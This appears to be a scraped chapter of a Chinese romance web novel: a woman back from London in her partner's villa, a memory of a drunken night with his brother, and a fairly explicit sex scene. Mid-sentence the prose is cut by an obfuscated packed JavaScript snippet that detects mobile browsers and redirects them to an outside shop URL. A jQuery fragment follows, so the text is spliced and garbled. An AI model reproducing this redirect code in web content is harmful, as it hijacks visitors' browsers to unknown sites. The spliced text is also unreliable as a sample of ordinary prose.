6. 第六章
    一整个下午的时间,盛棠都蜷在房间里画稿子。

    久不画画会手生,但珠宝设计需要灵感,画了半天也不合自己的心意,盛棠顿时心生烦躁,把画纸一撕,揉成纸团扔进了垃圾桶里。

    打开电脑一看,在英国投的几份简历还没有回应。

    实际上,目前珠宝行业的龙头企业,是赵栗川所在的“凌时”,但盛棠投简历时,却故意避开了这家公司。

    不知道是出于什么心理,但她就是不想感情生活与工作出现太多的交叉点。

    晚上七点,赵栗川还没回家,打了个电话过来让盛棠下楼吃饭。

    张姨已经把饭做好了,色香俱全的家常菜,令人食指大动。

    看见盛棠下楼,张姨进厨房盛了一碗菌菇汤放在餐桌上。

    “也不知道盛小姐爱吃什么,就随便做了点,你尝尝合不合胃口。”

    盛棠坐在餐桌前,看着几年没怎么吃过的中餐,感激道:“这些菜已经很好了,阿姨,我叫盛棠,您直接叫我的名字吧。”

    张姨点了点头,笑道:“行,你先吃吧,不合胃口的跟我说,我下次注意。”

    比起总是一言不发的郑管家,这位同样在别墅工作的张阿姨要热情的多,但对于她这种热情,郑管家却显得十分忧虑。

    吃过晚饭,盛棠去别墅后面的小路上散步消食,这条小路靠近湖边,每走一段就停放着一只小船。

    也不知道湖里有没有养鱼,如果养了闲下来后可以置办一些钓具,无聊的时钓钓鱼也是不错的。

    只可惜她应该不会在这里长住,这边离市中心到底还是有点远了,以后工作通勤会有些麻烦,而且盛棠暂时还不太想和赵栗川同居。

    盛棠在伦敦的时候很喜欢钓鱼,就是运气不好,出去十次有三五次空军,但她又喜欢在野外的河边钓,享受的就是那种愿者上钩的过程。

    到时候可以和赵栗川一起去,他要是不会,盛棠还可以教他,顺便在小白面前卖弄一番自己并不怎么精湛的垂钓技术。

    又走了两步,突然下起大颗大颗的雨滴来。

    离别墅后门明明只有几十米,但夏天的骤雨来的太急,盛棠还是被淋成了落汤鸡。

    回房间洗漱完,雨势越来越大。

    疾风把雨滴吹的拍打在玻璃窗上,盛棠就坐在窗前,看着楼下,用毛巾擦头发。

    雨水滴滴答答不停的落,花园里的两棵重瓣樱花树被吹得东倒西歪。

    盛棠忽然想起,她似乎已经不是第一次住进这栋别墅了。

    上次来这里时,也是今天这样的一个暴雨天。

    十七岁,高二的国庆节假期,盛棠和赵栗川伙同几个高中同学一起来京州玩儿。

    刚到的时候一切顺利,大家张牙舞爪的疯了几天,临到最后两晚,他们被住的那家酒店告知,之前在网上订的房间和另外一批人订重了,酒店只能给他们做退款处理。

    如果放到现在,盛棠一定会和酒店负责人据理力争,说什么也不接受退款,但当时几个涉世未深的高中生,不知社会险恶,只好吃了哑巴亏,拿着钱默默离开了。

    正值十一黄金周,旅游的高峰期,临时找酒店哪有那么容易。

    最后赵栗川为了不让大家露宿街头,给他哥打了个电话,让他帮忙给大家找个住的地方。

    赵言川那会儿在京州上大学,这栋房子离学校远,他自己也没怎么住,一听弟弟有麻烦,就欣然借给他们住了几天。

    几个没见过世面的高中生,忽然住进了大房子,又没有大人管着,每天玩儿的不亦乐乎。

    有天晚上,大家在一楼客厅吃火锅,不知道是谁点了几瓶酒,一群不胜酒力的弱鸡不自量力的对瓶吹,半个小时就东倒西歪躺了一片。

    别墅里的房间几乎都没有居住过的痕迹,盛棠选的那一间离走廊最远,也最是安静。

    宿醉的感觉很不好,盛棠半夜头痛,从床上爬起来,看见书桌旁边站了个人在翻抽屉里的东西。

    她迷迷糊糊的光着脚下床,走过去,拉着那人的袖子,可怜兮兮的说:“栗川,我难受。”

    盛棠感觉面前的人忽然紧张了一下,被自己拉住了袖子的手,紧紧攥着裤脚线,随即又放开来,回头看着盛棠。

    那人面无表情,神情冷淡:“你认错人了。”

    盛棠瞬间清醒,连忙放开赵言川,低着头道歉:“不好意思。”

    赵言川没有理她,脸上却有些愠色,盛棠心虚的不行,低头站在面前不敢看他,毕竟他们只是借住,赵栗川也不能完全算作是房子的主人,在人家家里喝的酒瓶子一地,确实有点儿没素质。

    盛棠看着自己的脚尖,连赵言川什么时候走了都不知道,过了一会儿他又回来,递给盛棠一杯水和一粒药。

    盛棠茫然。

    赵言川:“醒酒的,毒不死你。”

    盛棠这才接过药,一口吞了进去。

    赵言川本来是回来取课本的,盛棠不小心睡了他的房间,他倒也不生气,至少表现的没有一大群人在他家里饮酒作乐生气。

    盛棠喝完药见他还不走,有点疑惑,又反应过来这是赵言川家,才悻悻出门,打算换个房间。

    赵言川大步一跨,把门关闭又上了锁,盛棠被堵在墙角,一双狭长的眼睛,在她身上上下下的打量。

    那双拒人于千里之外的眼睛逐渐变得炙热。

    盛棠屏气凝神,看着面前的人,离她越来越近,最后眼睛一闭,生死有命,赵言川才终于停了下来,温热的呼吸一阵一阵的打在盛棠脸上,他一字一句凶巴巴的说:“别让我再看见你喝成这样。”

    “我错了,我再也不在你家喝酒了。”盛棠滑跪。

    “笨蛋,你搞错重点。”

    “啊?”盛棠睁开眼睛,看着距离自己不足五厘米的人。

    赵言川突然笑了。

    那是盛棠第一次看见那样开怀的笑颜出现在赵言川的脸上,虽然她并不明白那天晚上到底发生了什么值得高兴成那样的事情,当天晚上也是盛棠在极度不清醒的情况下,唯一一次把两个人弄错。

    高中时期,盛棠见赵言川的次数并不多,每次接近,盛棠都感觉他对自己有一种无法形容的厌烦,总是皱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207731|151023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着眉头,若即若离,欲语还休。

    喜欢她的是赵栗川,不喜欢她的是赵言川。

    其实好分得很。

    。

    从伦敦回来快十个小时了,一直没再见过赵栗川。

    盛棠本想等着他回来,两人再说说话的,谁知半夜困的熬不住,直接困倒了过去。

    半夜睡得迷迷糊糊的,听见有人打开门摸进房间。

    盛棠头都不用回,听脚步声也听得出来是赵栗川。

    “你怎么才回来?”她喃喃问道。

    “你在等我?”赵栗川惊喜。

    他独自一个人生活了太长时间,对家早就没有了归属感,有时候工作的太晚就直接住在公司,家里有人在等,好像是做梦才会发生的事情。

    现在有人在挂念他,并且这个人还是盛棠。

    赵栗川简直乐的发疯了,他二话不说,翻上了床抱住盛棠,一双大手掀起睡衣直直往胸前探。

    熟悉的气息从背后传来,盛棠脸上难掩笑意,眯着眼睛问了一句:“赵总,干什么偷鸡摸狗的事呢?”

    赵栗川正拨弄着小樱桃的手,忽然顿住,在漆黑一片的夜里,低声询问:“你叫我什么?”

    盛棠没听出来他声音里的凝滞感,回头搂着赵栗川的脖子,小猫似的在他胸前蹭蹭,漫不经心道:“今天我听那个司机小刘就是这么叫你的呀,赵总,在我面前装什么,说吧,你现在混到什么职务了,苟富贵勿相忘。”

    赵栗川的语气变得轻松:“那我应该混到什么职务你比较满意?”

    他说着,手还不忘在盛棠身上作乱,挑得她心痒痒。

    “嗯......”盛棠轻哼一声,咬着唇默默忍耐。

    “说啊,”赵栗川突然附在她耳边,用鼻子贴她软软的脸颊,一语双关:“我怎么做,你才满意,嗯?”

    其实很多事情,盛棠都不喜欢处于被动的局面。

    这或许是由于她的人生已经出过太多次意外了,她喜欢把一切牢牢掌握在自己手里的感觉,即便不能提前部署,最好也要不落下风。

    现在这种,被人按着欺负的画风,也着实不太适合盛棠未来的家庭地位,尽管被人捉弄的身子都软了,盛棠还是强打起精神来,把腿缠在赵栗川腰上,用自己并不熟练的妩媚神情抛了个媚眼。

    随后懒洋洋的说道:“其实一直都不太满意,你活好烂,每次□□我都是装的。”

    不得不说,她这招的效果十分奏效。

    赵栗川冷哼了一声,灯都没关,按着人就不管不顾的做了起来。

    盛棠半夜被搞的哪里都痛的时候,才明白什么叫忍一时风平浪静,她干嘛要去招惹赵栗川这个神经病。

    明明今天更累的是赵栗川才对,消耗了那么多的体力,还跟没事人一样,欺负的盛棠直掉眼泪,还捏着她的下巴逼问:“宝宝,这回满意了吗?”

    盛棠小鸡啄米似的点头,刚要说话,就又被赵栗川捂住了嘴。

    “不对,是我活烂,我检讨。”

    赵栗川笑的十分危险,盛棠知道她今天晚上可能不太好过了。